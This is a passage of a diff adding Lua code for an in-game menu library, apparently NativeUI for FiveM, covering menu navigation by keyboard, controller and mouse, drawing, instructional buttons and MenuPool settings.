+ Wait(50)
+ end
+ self.UpPressed = false
+ end)
+ end
+ end
+
+ if not self.DownPressed then
+ if self.Controls.Down.Enabled and (IsDisabledControlJustPressed(0, 173) or IsDisabledControlJustPressed(1, 173) or IsDisabledControlJustPressed(2, 173) or IsDisabledControlJustPressed(0, 242) or IsDisabledControlJustPressed(1, 242) or IsDisabledControlJustPressed(2, 242)) then
+ self.DownPressed = true
+ CreateThread(function()
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoDownOverflow()
+ else
+ self:GoDown()
+ end
+ self:UpdateScaleform()
+ Wait(120)
+ while self.Controls.Down.Enabled and (IsDisabledControlPressed(0, 173) or IsDisabledControlPressed(1, 173) or IsDisabledControlPressed(2, 173) or IsDisabledControlPressed(0, 242) or IsDisabledControlPressed(1, 242) or IsDisabledControlPressed(2, 242)) do
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoDownOverflow()
+ else
+ self:GoDown()
+ end
+ self:UpdateScaleform()
+ Wait(50)
+ end
+ self.DownPressed = false
+ end)
+ end
+ end
+
+ if not self.LeftPressed then
+ if self.Controls.Left.Enabled and (IsDisabledControlPressed(0, 174) or IsDisabledControlPressed(1, 174) or IsDisabledControlPressed(2, 174)) then
+ self.LeftPressed = true
+ CreateThread(function()
+ self:GoLeft()
+ Wait(175)
+ while self.Controls.Left.Enabled and (IsDisabledControlPressed(0, 174) or IsDisabledControlPressed(1, 174) or IsDisabledControlPressed(2, 174)) do
+ self:GoLeft()
+ Wait(125)
+ end
+ self.LeftPressed = false
+ end)
+ end
+ end
+
+ if not self.RightPressed then
+ if self.Controls.Right.Enabled and (IsDisabledControlPressed(0, 175) or IsDisabledControlPressed(1, 175) or IsDisabledControlPressed(2, 175)) then
+ self.RightPressed = true
+ CreateThread(function()
+ self:GoRight()
+ Wait(175)
+ while self.Controls.Right.Enabled and (IsDisabledControlPressed(0, 175) or IsDisabledControlPressed(1, 175) or IsDisabledControlPressed(2, 175)) do
+ self:GoRight()
+ Wait(125)
+ end
+ self.RightPressed = false
+ end)
+ end
+ end
+
+ if self.Controls.Select.Enabled and (IsDisabledControlJustPressed(0, 201) or IsDisabledControlJustPressed(1, 201) or IsDisabledControlJustPressed(2, 201)) then
+ self:SelectItem()
+ end
+end
+
+
+function UIMenu:GoUpOverflow()
+ if self:CurrentSelection() < 10 then
+ paginationValue = 1
+ end
+
+ if #self.Items <= self.Pagination.Total + 1 then
+ return
+ end
+
+ if self:CurrentSelection() <= self.Pagination.Min + 1 then
+ if self:CurrentSelection() == 1 then
+ self.Pagination.Min = #self.Items - (self.Pagination.Total + 1)
+ self.Pagination.Max = #self.Items
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = 1000 - (1000 % #self.Items)
+ self.ActiveItem = self.ActiveItem + (#self.Items - 1)
+ self.Items[self:CurrentSelection()]:Selected(true)
+ else
+ self.Pagination.Min = self.Pagination.Min - paginationValue
+ self.Pagination.Max = self.Pagination.Max - paginationValue
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = self.ActiveItem - paginationValue
+ self.Items[self:CurrentSelection()]:Selected(true)
+ end
+ else
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = self.ActiveItem - 1
+ self.Items[self:CurrentSelection()]:Selected(true)
+ end
+ PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true)
+ self.OnIndexChange(self, self:CurrentSelection())
+ self.ReDraw = true
+end
+
+function UIMenu:GoUp()
+ if #self.Items > self.Pagination.Total + 1 then
+ return
+ end
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = self.ActiveItem - 1
+ self.Items[self:CurrentSelection()]:Selected(true)
+ PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true)
+ self.OnIndexChange(self, self:CurrentSelection())
+ self.ReDraw = true
+end
+
+function UIMenu:GoDownOverflow()
+ if self:CurrentSelection() > (#self.Items - 10) then
+ paginationValue = 1
+ end
+
+ if #self.Items <= self.Pagination.Total + 1 then
+ return
+ end
+
+ if self:CurrentSelection() >= self.Pagination.Max then
+ if self:CurrentSelection() == #self.Items then
+ self.Pagination.Min = 0
+ self.Pagination.Max = self.Pagination.Total + 1
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = 1000 - (1000 % #self.Items)
+ self.Items[self:CurrentSelection()]:Selected(true)
+ else
+ self.Pagination.Max = self.Pagination.Max + paginationValue
+ self.Pagination.Min = self.Pagination.Max - (self.Pagination.Total + 1)
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = self.ActiveItem + paginationValue
+ self.Items[self:CurrentSelection()]:Selected(true)
+ end
+ else
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = self.ActiveItem + 1
+ self.Items[self:CurrentSelection()]:Selected(true)
+ end
+ PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true)
+ self.OnIndexChange(self, self:CurrentSelection())
+ self.ReDraw = true
+end
+
+function UIMenu:GoDown()
+ if #self.Items > self.Pagination.Total + 1 then
+ return
+ end
+
+ self.Items[self:CurrentSelection()]:Selected(false)
+ self.ActiveItem = self.ActiveItem + 1
+ self.Items[self:CurrentSelection()]:Selected(true)
+ PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true)
+ self.OnIndexChange(self, self:CurrentSelection())
+ self.ReDraw = true
+end
+
+function UIMenu:GoLeft()
+ local type, subtype = self.Items[self:CurrentSelection()]()
+ if subtype ~= "UIMenuListItem" and subtype ~= "UIMenuSliderItem" and subtype ~= "UIMenuProgressItem" then
+ return
+ end
+
+ if not self.Items[self:CurrentSelection()]:Enabled() then
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ return
+ end
+
+ if subtype == "UIMenuListItem" then
+ local Item = self.Items[self:CurrentSelection()]
+ Item:Index(Item._Index - 1)
+ self.OnListChange(self, Item, Item._Index)
+ Item.OnListChanged(self, Item, Item._Index)
+ PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true)
+ elseif subtype == "UIMenuSliderItem" then
+ local Item = self.Items[self:CurrentSelection()]
+ Item:Index(Item._Index - 1)
+ self.OnSliderChange(self, Item, Item:Index())
+ Item.OnSliderChanged(self, Item, Item._Index)
+ PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true)
+ elseif subtype == "UIMenuProgressItem" then
+ local Item = self.Items[self:CurrentSelection()]
+ Item:Index(Item.Data.Index - 1)
+ self.OnProgressChange(self, Item, Item.Data.Index)
+ Item.OnProgressChanged(self, Item, Item.Data.Index)
+ PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true)
+ end
+end
+
+function UIMenu:GoRight()
+ local type, subtype = self.Items[self:CurrentSelection()]()
+ if subtype ~= "UIMenuListItem" and subtype ~= "UIMenuSliderItem" and subtype ~= "UIMenuProgressItem" then
+ return
+ end
+
+ if not self.Items[self:CurrentSelection()]:Enabled() then
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ return
+ end
+
+ if subtype == "UIMenuListItem" then
+ local Item = self.Items[self:CurrentSelection()]
+ Item:Index(Item._Index + 1)
+ self.OnListChange(self, Item, Item._Index)
+ Item.OnListChanged(self, Item, Item._Index)
+ PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true)
+ elseif subtype == "UIMenuSliderItem" then
+ local Item = self.Items[self:CurrentSelection()]
+ Item:Index(Item._Index + 1)
+ self.OnSliderChange(self, Item, Item:Index())
+ Item.OnSliderChanged(self, Item, Item._Index)
+ PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true)
+ elseif subtype == "UIMenuProgressItem" then
+ local Item = self.Items[self:CurrentSelection()]
+ Item:Index(Item.Data.Index + 1)
+ self.OnProgressChange(self, Item, Item.Data.Index)
+ Item.OnProgressChanged(self, Item, Item.Data.Index)
+ PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true)
+ end
+end
+
+function UIMenu:SelectItem()
+ if not self.Items[self:CurrentSelection()]:Enabled() then
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ return
+ end
+ local Item = self.Items[self:CurrentSelection()]
+ local type, subtype = Item()
+ if subtype == "UIMenuCheckboxItem" then
+ Item.Checked = not Item.Checked
+ PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true)
+ self.OnCheckboxChange(self, Item, Item.Checked)
+ Item.CheckboxEvent(self, Item, Item.Checked)
+ elseif subtype == "UIMenuListItem" then
+ PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true)
+ self.OnListSelect(self, Item, self:CurrentSelection(), Item._Index)
+ Item.OnListSelected(self, Item, self:CurrentSelection(), Item._Index)
+ elseif subtype == "UIMenuSliderItem" then
+ PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true)
+ self.OnSliderSelect(self, Item, Item._Index)
+ Item.OnSliderSelected(Item._Index)
+ elseif subtype == "UIMenuProgressItem" then
+ PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true)
+ self.OnProgressSelect(self, Item, Item.Data.Index)
+ Item.OnProgressSelected(Item.Data.Index)
+ else
+ PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true)
+ self.OnItemSelect(self, Item, self:CurrentSelection())
+ Item.Activated(self, Item)
+ if not self.Children[Item] then
+ return
+ end
+ self:Visible(false)
+ self.Children[Item]:Visible(true)
+ self.OnMenuChanged(self, self.Children[self.Items[self:CurrentSelection()]], true)
+ end
+end
+
+function UIMenu:GoBack()
+ PlaySoundFrontend(-1, self.Settings.Audio.Back, self.Settings.Audio.Library, true)
+ self:Visible(false)
+ if self.ParentMenu ~= nil then
+ self.ParentMenu:Visible(true)
+ self.OnMenuChanged(self, self.ParentMenu, false)
+ if self.Settings.ResetCursorOnOpen then
+ local W, H = GetActiveScreenResolution()
+ SetCursorLocation(W / 2, H / 2)
+ end
+ end
+ self.OnMenuClosed(self)
+end
+
+function UIMenu:BindMenuToItem(Menu, Item)
+ if Menu() == "UIMenu" and Item() == "UIMenuItem" then
+ Menu.ParentMenu = self
+ Menu.ParentItem = Item
+ self.Children[Item] = Menu
+ end
+end
+
+function UIMenu:ReleaseMenuFromItem(Item)
+ if Item() == "UIMenuItem" then
+ if not self.Children[Item] then
+ return false
+ end
+ self.Children[Item].ParentMenu = nil
+ self.Children[Item].ParentItem = nil
+ self.Children[Item] = nil
+ return true
+ end
+end
+
+function UIMenu:Draw()
+ if not self._Visible then
+ return
+ end
+
+ HideHudComponentThisFrame(19)
+
+ if self.Settings.ControlDisablingEnabled then
+ self:DisEnableControls(false)
+ end
+
+ if self.Settings.InstructionalButtons then
+ DrawScaleformMovieFullscreen(self.InstructionalScaleform, 255, 255, 255, 255, 0)
+ end
+
+ if self.Settings.ScaleWithSafezone then
+ ScreenDrawPositionBegin(76, 84)
+ ScreenDrawPositionRatio(0, 0, 0, 0)
+ end
+
+ if self.ReDraw then
+ self:DrawCalculations()
+ end
+
+ if self.Logo then
+ self.Logo:Draw()
+ elseif self.Banner then
+ self.Banner:Draw()
+ end
+
+ self.Title:Draw()
+
+ if self.Subtitle.Rectangle then
+ self.Subtitle.Rectangle:Draw()
+ self.Subtitle.Text:Draw()
+ end
+
+ if #self.Items ~= 0 or #self.Windows ~= 0 then
+ self.Background:Draw()
+ end
+
+ if #self.Windows ~= 0 then
+ local WindowOffset = 0
+ for index = 1, #self.Windows do
+ if self.Windows[index - 1] then
+ WindowOffset = WindowOffset + self.Windows[index - 1].Background:Size().Height
+ end
+ local Window = self.Windows[index]
+ Window:Position(WindowOffset + self.Subtitle.ExtraY - 37)
+ Window:Draw()
+ end
+ end
+
+ if #self.Items == 0 then
+ if self.Settings.ScaleWithSafezone then
+ ScreenDrawPositionEnd()
+ end
+ return
+ end
+
+ local CurrentSelection = self:CurrentSelection()
+ self.Items[CurrentSelection]:Selected(true)
+
+ if self.Items[CurrentSelection]:Description() ~= "" then
+ self.Description.Bar:Draw()
+ self.Description.Rectangle:Draw()
+ self.Description.Text:Draw()
+ end
+
+ if self.Items[CurrentSelection].Panels ~= nil then
+ if #self.Items[CurrentSelection].Panels ~= 0 then
+ local PanelOffset = self:CaclulatePanelPosition(self.Items[CurrentSelection]:Description() ~= "")
+ for index = 1, #self.Items[CurrentSelection].Panels do
+ if self.Items[CurrentSelection].Panels[index - 1] then
+ PanelOffset = PanelOffset + self.Items[CurrentSelection].Panels[index - 1].Background:Size().Height + 5
+ end
+ self.Items[CurrentSelection].Panels[index]:Position(PanelOffset)
+ self.Items[CurrentSelection].Panels[index]:Draw()
+ end
+ end
+ end
+
+ local WindowHeight = self:CalculateWindowHeight()
+
+ if #self.Items <= self.Pagination.Total + 1 then
+ local ItemOffset = self.Subtitle.ExtraY - 37 + WindowHeight
+ for index = 1, #self.Items do
+ Item = self.Items[index]
+ Item:Position(ItemOffset)
+ Item:Draw()
+ ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item)
+ end
+ else
+ local ItemOffset = self.Subtitle.ExtraY - 37 + WindowHeight
+ for index = self.Pagination.Min + 1, self.Pagination.Max, 1 do
+ if self.Items[index] then
+ Item = self.Items[index]
+ Item:Position(ItemOffset)
+ Item:Draw()
+ ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item)
+ end
+ end
+
+ self.Extra.Up:Draw()
+ self.Extra.Down:Draw()
+ self.ArrowSprite:Draw()
+
+ if self.PageCounter.Text ~= nil then
+ local Caption = self.PageCounter.PreText .. CurrentSelection .. " / " .. #self.Items
+ self.PageCounter.Text:Text(Caption)
+ self.PageCounter.Text:Draw()
+ end
+ end
+
+ if self.Settings.ScaleWithSafezone then
+ ScreenDrawPositionEnd()
+ end
+end
+
+function UIMenu:ProcessMouse()
+ if not self._Visible or self.JustOpened or #self.Items == 0 or tobool(Controller()) or not self.Settings.MouseControlsEnabled then
+ EnableControlAction(0, 2, true)
+ EnableControlAction(0, 1, true)
+ EnableControlAction(0, 25, true)
+ EnableControlAction(0, 24, true)
+ if self.Dirty then
+ for _, Item in pairs(self.Items) do
+ if Item:Hovered() then
+ Item:Hovered(false)
+ end
+ end
+ end
+ return
+ end
+
+ local SafeZone = { X = 0, Y = 0 }
+ local WindowHeight = self:CalculateWindowHeight()
+ if self.Settings.ScaleWithSafezone then
+ SafeZone = GetSafeZoneBounds()
+ end
+
+ local Limit = #self.Items
+ local ItemOffset = 0
+
+ ShowCursorThisFrame()
+
+ if #self.Items > self.Pagination.Total + 1 then
+ Limit = self.Pagination.Max
+ end
+
+ if IsMouseInBounds(0, 0, 30, 1080) and self.Settings.MouseEdgeEnabled then
+ SetGameplayCamRelativeHeading(GetGameplayCamRelativeHeading() + 5)
+ SetCursorSprite(6)
+ elseif IsMouseInBounds(1920 - 30, 0, 30, 1080) and self.Settings.MouseEdgeEnabled then
+ SetGameplayCamRelativeHeading(GetGameplayCamRelativeHeading() - 5)
+ SetCursorSprite(7)
+ elseif self.Settings.MouseEdgeEnabled then
+ SetCursorSprite(1)
+ end
+
+ for i = self.Pagination.Min + 1, Limit, 1 do
+ local X, Y = self.Position.X + SafeZone.X, self.Position.Y + 144 - 37 + self.Subtitle.ExtraY + ItemOffset + SafeZone.Y + WindowHeight
+ local Item = self.Items[i]
+ local Type, SubType = Item()
+ local Width, Height = 431 + self.WidthOffset, self:CalculateItemHeightOffset(Item)
+
+ if IsMouseInBounds(X, Y, Width, Height) then
+ Item:Hovered(true)
+ if not self.Controls.MousePressed then
+ if IsDisabledControlJustPressed(0, 24) then
+ CreateThread(function()
+ local _X, _Y, _Width, _Height = X, Y, Width, Height
+ self.Controls.MousePressed = true
+ if Item:Selected() and Item:Enabled() then
+ if SubType == "UIMenuListItem" then
+ if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then
+ self:GoLeft()
+ elseif not IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then
+ self:SelectItem()
+ end
+ if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then
+ self:GoRight()
+ elseif not IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then
+ self:SelectItem()
+ end
+ elseif SubType == "UIMenuSliderItem" then
+ if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then
+ self:GoLeft()
+ elseif not IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then
+ self:SelectItem()
+ end
+ if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then
+ self:GoRight()
+ elseif not IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then
+ self:SelectItem()
+ end
+ elseif SubType == "UIMenuProgressItem" then
+ if IsMouseInBounds(Item.Bar.X + SafeZone.X, Item.Bar.Y + SafeZone.Y - 12, Item.Data.Max, Item.Bar.Height + 24) then
+ Item:CalculateProgress(math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X)
+ self.OnProgressChange(self, Item, Item.Data.Index)
+ Item.OnProgressChanged(self, Item, Item.Data.Index)
+ else
+ self:SelectItem()
+ end
+ else
+ self:SelectItem()
+ end
+ elseif not Item:Selected() then
+ self:CurrentSelection(i - 1)
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ self.OnIndexChange(self, self:CurrentSelection())
+ self.ReDraw = true
+ self:UpdateScaleform()
+ elseif not Item:Enabled() and Item:Selected() then
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ end
+ Wait(175)
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(_X, _Y, _Width, _Height) do
+ if Item:Selected() and Item:Enabled() then
+ if SubType == "UIMenuListItem" then
+ if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then
+ self:GoLeft()
+ end
+ if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then
+ self:GoRight()
+ end
+ elseif SubType == "UIMenuSliderItem" then
+ if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then
+ self:GoLeft()
+ end
+ if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then
+ self:GoRight()
+ end
+ elseif SubType == "UIMenuProgressItem" then
+ if IsMouseInBounds(Item.Bar.X + SafeZone.X, Item.Bar.Y + SafeZone.Y - 12, Item.Data.Max, Item.Bar.Height + 24) then
+ Item:CalculateProgress(math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X)
+ self.OnProgressChange(self, Item, Item.Data.Index)
+ Item.OnProgressChanged(self, Item, Item.Data.Index)
+ else
+ self:SelectItem()
+ end
+ end
+ elseif not Item:Selected() then
+ self:CurrentSelection(i - 1)
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ self.OnIndexChange(self, self:CurrentSelection())
+ self.ReDraw = true
+ self:UpdateScaleform()
+ elseif not Item:Enabled() and Item:Selected() then
+ PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true)
+ end
+ Wait(125)
+ end
+ self.Controls.MousePressed = false
+ end)
+ end
+ end
+ else
+ Item:Hovered(false)
+ end
+ ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item)
+ end
+
+ local ExtraX, ExtraY = self.Position.X + SafeZone.X, 144 + self:CalculateItemHeight() + self.Position.Y + SafeZone.Y + WindowHeight
+
+ if #self.Items <= self.Pagination.Total + 1 then return end
+
+ if IsMouseInBounds(ExtraX, ExtraY, 431 + self.WidthOffset, 18) then
+ self.Extra.Up:Colour(30, 30, 30, 255)
+ if not self.Controls.MousePressed then
+ if IsDisabledControlJustPressed(0, 24) then
+ CreateThread(function()
+ local _ExtraX, _ExtraY = ExtraX, ExtraY
+ self.Controls.MousePressed = true
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoUpOverflow()
+ else
+ self:GoUp()
+ end
+ Wait(175)
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(_ExtraX, _ExtraY, 431 + self.WidthOffset, 18) do
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoUpOverflow()
+ else
+ self:GoUp()
+ end
+ Wait(125)
+ end
+ self.Controls.MousePressed = false
+ end)
+ end
+ end
+ else
+ self.Extra.Up:Colour(0, 0, 0, 200)
+ end
+
+ if IsMouseInBounds(ExtraX, ExtraY + 18, 431 + self.WidthOffset, 18) then
+ self.Extra.Down:Colour(30, 30, 30, 255)
+ if not self.Controls.MousePressed then
+ if IsDisabledControlJustPressed(0, 24) then
+ CreateThread(function()
+ local _ExtraX, _ExtraY = ExtraX, ExtraY
+ self.Controls.MousePressed = true
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoDownOverflow()
+ else
+ self:GoDown()
+ end
+ Wait(175)
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(_ExtraX, _ExtraY + 18, 431 + self.WidthOffset, 18) do
+ if #self.Items > self.Pagination.Total + 1 then
+ self:GoDownOverflow()
+ else
+ self:GoDown()
+ end
+ Wait(125)
+ end
+ self.Controls.MousePressed = false
+ end)
+ end
+ end
+ else
+ self.Extra.Down:Colour(0, 0, 0, 200)
+ end
+end
+
+function UIMenu:AddInstructionButton(button)
+ if type(button) == "table" and #button == 2 then
+ table.insert(self.InstructionalButtons, button)
+ end
+end
+
+function UIMenu:RemoveInstructionButton(button)
+ if type(button) == "table" then
+ for i = 1, #self.InstructionalButtons do
+ if button == self.InstructionalButtons[i] then
+ table.remove(self.InstructionalButtons, i)
+ break
+ end
+ end
+ else
+ if tonumber(button) then
+ if self.InstructionalButtons[tonumber(button)] then
+ table.remove(self.InstructionalButtons, tonumber(button))
+ end
+ end
+ end
+end
+
+function UIMenu:AddEnabledControl(Inputgroup, Control, Controller)
+ if tonumber(Inputgroup) and tonumber(Control) then
+ table.insert(self.Settings.EnabledControls[(Controller and "Controller" or "Keyboard")], { Inputgroup, Control })
+ end
+end
+
+function UIMenu:RemoveEnabledControl(Inputgroup, Control, Controller)
+ local Type = (Controller and "Controller" or "Keyboard")
+ for Index = 1, #self.Settings.EnabledControls[Type] do
+ if Inputgroup == self.Settings.EnabledControls[Type][Index][1] and Control == self.Settings.EnabledControls[Type][Index][2] then
+ table.remove(self.Settings.EnabledControls[Type], Index)
+ break
+ end
+ end
+end
+
+function UIMenu:UpdateScaleform()
+ if not self._Visible or not self.Settings.InstructionalButtons then
+ return
+ end
+
+ PushScaleformMovieFunction(self.InstructionalScaleform, "CLEAR_ALL")
+ PopScaleformMovieFunction()
+
+ PushScaleformMovieFunction(self.InstructionalScaleform, "TOGGLE_MOUSE_BUTTONS")
+ PushScaleformMovieFunctionParameterInt(0)
+ PopScaleformMovieFunction()
+
+ PushScaleformMovieFunction(self.InstructionalScaleform, "CREATE_CONTAINER")
+ PopScaleformMovieFunction()
+
+ PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT")
+ PushScaleformMovieFunctionParameterInt(0)
+ PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 176, 0))
+ PushScaleformMovieFunctionParameterString(Translate('btn_select'))
+ PopScaleformMovieFunction()
+
+ if self.Controls.Back.Enabled then
+ PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT")
+ PushScaleformMovieFunctionParameterInt(1)
+ PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 177, 0))
+ PushScaleformMovieFunctionParameterString(Translate('btn_back'))
+ PopScaleformMovieFunction()
+ end
+
+ -- If using keyboard, show alt increment button
+ if self.Controls.Increment.Enabled and not tobool(Controller()) then
+ PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT")
+ PushScaleformMovieFunctionParameterInt(3)
+ PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 19, 0))
+ PushScaleformMovieFunctionParameterString(Translate('btn_increment')..(paginationValue and ': '..paginationValue or ": "..paginationValue))
+ PopScaleformMovieFunction()
+ end
+
+ -- If using controller, show 199 increment button
+ if self.Controls.Increment.Enabled and tobool(Controller()) then
+ PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT")
+ PushScaleformMovieFunctionParameterInt(3)
+ PushScaleformMovieFunctionParameterString(GetControlInstructionalButton(2, 199, 0))
+ PushScaleformMovieFunctionParameterString(Translate('btn_increment')..(paginationValue and ': '..paginationValue or ": "..paginationValue))
+ PopScaleformMovieFunction()
+ end
+
+ local count = 3
+
+ for i = 1, #self.InstructionalButtons do
+ if self.InstructionalButtons[i] then
+ if #self.InstructionalButtons[i] == 3 then
+ PushScaleformMovieFunction(self.InstructionalScaleform, "SET_DATA_SLOT")
+ PushScaleformMovieFunctionParameterInt(count)
+ PushScaleformMovieFunctionParameterString(self.InstructionalButtons[i][1])
+ PushScaleformMovieFunctionParameterString(self.InstructionalButtons[i][2])
+ PushScaleformMovieFunctionParameterString(self.InstructionalButtons[i][3])
+ PopScaleformMovieFunction()
+ count = count + 1
+ end
+ end
+ end
+
+ PushScaleformMovieFunction(self.InstructionalScaleform, "DRAW_INSTRUCTIONAL_BUTTONS")
+ PushScaleformMovieFunctionParameterInt(-1)
+ PopScaleformMovieFunction()
+end
+
+--[[
+ MenuPool.lua
+ Menus
+--]]
+
+function MenuPool.New()
+ local _MenuPool = {
+ Menus = {}
+ }
+ return setmetatable(_MenuPool, MenuPool)
+end
+
+function MenuPool:AddSubMenu(Menu, Text, Description, KeepPosition, KeepBanner)
+ if Menu() == "UIMenu" then
+ local Item = UIMenuItem.New(tostring(Text), Description or "")
+ Menu:AddItem(Item)
+ local SubMenu
+ if KeepPosition then
+ SubMenu = UIMenu.New(Menu.Title:Text(), Text, Menu.Position.X, Menu.Position.Y)
+ else
+ SubMenu = UIMenu.New(Menu.Title:Text(), Text)
+ end
+ if KeepBanner then
+ if Menu.Logo ~= nil then
+ SubMenu.Logo = Menu.Logo
+ else
+ SubMenu.Logo = nil
+ SubMenu.Banner = Menu.Banner
+ end
+ end
+ self:Add(SubMenu)
+ Menu:BindMenuToItem(SubMenu, Item)
+ return SubMenu
+ end
+end
+
+function MenuPool:Add(Menu)
+ if Menu() == "UIMenu" then
+ table.insert(self.Menus, Menu)
+ end
+end
+
+function MenuPool:Clear()
+ self = {
+ Menus = {}
+ }
+end
+
+function MenuPool:Remove()
+ self = nil
+end
+
+function MenuPool:MouseEdgeEnabled(bool)
+ if bool ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Settings.MouseEdgeEnabled = tobool(bool)
+ end
+ end
+end
+
+function MenuPool:ControlDisablingEnabled(bool)
+ if bool ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Settings.ControlDisablingEnabled = tobool(bool)
+ end
+ end
+end
+
+function MenuPool:ResetCursorOnOpen(bool)
+ if bool ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Settings.ResetCursorOnOpen = tobool(bool)
+ end
+ end
+end
+
+function MenuPool:MultilineFormats(bool)
+ if bool ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Settings.MultilineFormats = tobool(bool)
+ end
+ end
+end
+
+function MenuPool:Audio(Attribute, Setting)
+ if Attribute ~= nil and Setting ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ if Menu.Settings.Audio[Attribute] then
+ Menu.Settings.Audio[Attribute] = Setting
+ end
+ end
+ end
+end
+
+function MenuPool:WidthOffset(offset)
+ if tonumber(offset) then
+ for _, Menu in pairs(self.Menus) do
+ Menu:SetMenuWidthOffset(tonumber(offset))
+ end
+ end
+end
+
+function MenuPool:CounterPreText(str)
+ if str ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.PageCounter.PreText = tostring(str)
+ end
+ end
+end
+
+function MenuPool:DisableInstructionalButtons(bool)
+ if bool ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Settings.InstructionalButtons = tobool(bool)
+ end
+ end
+end
+
+function MenuPool:MouseControlsEnabled(bool)
+ if bool ~= nil then
+ for _, Menu in pairs(self.Menus) do
+ Menu.Settings.MouseControlsEnabled = tobool(bool)
+ end
+ end
+end
+
+function MenuPool:RefreshIndex()
+ for _, Menu in pairs(self.Menus) do
+ Menu:RefreshIndex()
+ end
+end
+
+function MenuPool:ProcessMenus()
+ self:ProcessControl()
+ self:ProcessMouse()
+ self:Draw()
+end
+
+function MenuPool:ProcessControl()
+ for _, Menu in pairs(self.Menus) do
+ if Menu:Visible() then
